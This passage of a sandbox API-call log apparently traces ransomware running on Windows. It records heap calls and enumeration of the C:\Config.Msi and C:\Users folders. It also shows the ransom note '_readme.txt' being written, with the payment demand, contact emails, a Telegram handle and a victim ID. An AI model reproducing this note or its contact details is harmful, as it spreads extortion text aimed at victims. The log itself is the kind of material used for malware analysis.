lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.946] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.946] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.947] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.947] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.947] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.947] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.947] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.947] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.947] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.947] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.947] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.947] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.947] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.947] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.947] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.947] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.947] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.947] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.947] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.947] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.947] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.947] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.947] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.947] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.947] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.947] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.947] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.948] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.948] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.948] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.948] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.948] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.948] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.948] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.948] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.948] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.948] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.948] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.948] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.948] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.948] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.948] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.948] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.948] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.948] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0266.948] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.948] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.948] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.948] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.948] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.948] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.948] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077368 | out: hHeap=0x640000) returned 1 [0266.949] PathFindFileNameW (pszPath="C:\\Config.Msi\\") returned="Config.Msi\\" [0266.949] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.949] PathFindFileNameW (pszPath="") returned="" [0266.949] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.949] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.949] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.949] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.949] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.949] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.950] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30772a0 | out: hHeap=0x640000) returned 1 [0266.950] PathAppendW (in: pszPath="C:\\Config.Msi\\", pMore="_readme.txt" | out: pszPath="C:\\Config.Msi\\_readme.txt") returned 1 [0266.950] PathFileExistsW (pszPath="C:\\Config.Msi\\_readme.txt") returned 0 [0266.950] lstrcpyW (in: lpString1=0x311b6f8, lpString2="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs" [0266.950] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfs", lpString2="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1") returned="ATTENTION!\r\n\r\nDon't worry my friend, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-1aTCryfzhK\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nvengisto@firemail.cc\r\n\r\nReserve e-mail address to contact us:\r\ngorentos@bitmessage.ch\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n078AKsudu438fyasfspQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1" [0266.950] CreateFileW (lpFileName="C:\\Config.Msi\\_readme.txt" (normalized: "c:\\config.msi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0266.950] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x310a230 | out: hHeap=0x640000) returned 1 [0266.950] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311b6f8 | out: hHeap=0x640000) returned 1 [0266.951] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.951] FindFirstFileW (in: lpFileName="C:\\Config.Msi\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0xffffffff [0266.951] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30772a0 | out: hHeap=0x640000) returned 1 [0266.951] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773b8 | out: hHeap=0x640000) returned 1 [0266.951] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31099a8 | out: hHeap=0x640000) returned 1 [0266.951] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773e0 | out: hHeap=0x640000) returned 1 [0266.951] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0266.951] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.951] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0266.951] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.951] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0266.951] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.951] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0266.951] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.951] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0266.951] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.951] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0266.951] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.952] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0266.952] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.952] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0266.952] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.952] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0266.952] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.952] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0266.952] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.952] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0266.952] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30773b8 | out: hHeap=0x640000) returned 1 [0266.952] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0266.952] PathFindFileNameW (pszPath="") returned="" [0266.952] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75d10000 [0266.953] GetProcAddress (hModule=0x75d10000, lpProcName="SHGetFolderPathW") returned 0x75d95708 [0266.953] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x31106e0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0266.953] FreeLibrary (hLibModule=0x75d10000) returned 1 [0266.953] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30772a0 | out: hHeap=0x640000) returned 1 [0266.953] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.953] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.953] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0266.953] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.953] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0266.953] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf8e573b0, ftLastAccessTime.dwHighDateTime=0x1d50369, ftLastWriteTime.dwLowDateTime=0xf8e573b0, ftLastWriteTime.dwHighDateTime=0x1d50369, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1 [0266.953] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x30818d0 [0266.953] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0266.953] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x30819a8 [0266.953] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081960 | out: hHeap=0x640000) returned 1 [0266.953] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30818d0 | out: hHeap=0x640000) returned 1 [0266.954] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0266.954] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab798 [0266.954] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab958 [0266.954] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab8b0 [0266.954] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab958 | out: hHeap=0x640000) returned 1 [0266.954] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab798 | out: hHeap=0x640000) returned 1 [0266.954] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0266.954] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab798 [0266.954] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab958 [0266.954] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab808 [0266.954] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab958 | out: hHeap=0x640000) returned 1 [0266.954] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab798 | out: hHeap=0x640000) returned 1 [0266.954] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0266.954] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab798 [0266.954] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab958 [0266.954] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0266.954] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab958 | out: hHeap=0x640000) returned 1 [0266.954] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab798 | out: hHeap=0x640000) returned 1 [0266.954] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0266.954] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.954] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab798 [0266.954] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f08 | out: hHeap=0x640000) returned 1 [0266.954] PathFindExtensionW (pszPath="C:\\Users\\desktop.ini") returned=".ini" [0266.954] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab798 | out: hHeap=0x640000) returned 1 [0266.954] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0266.954] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f08 [0266.955] 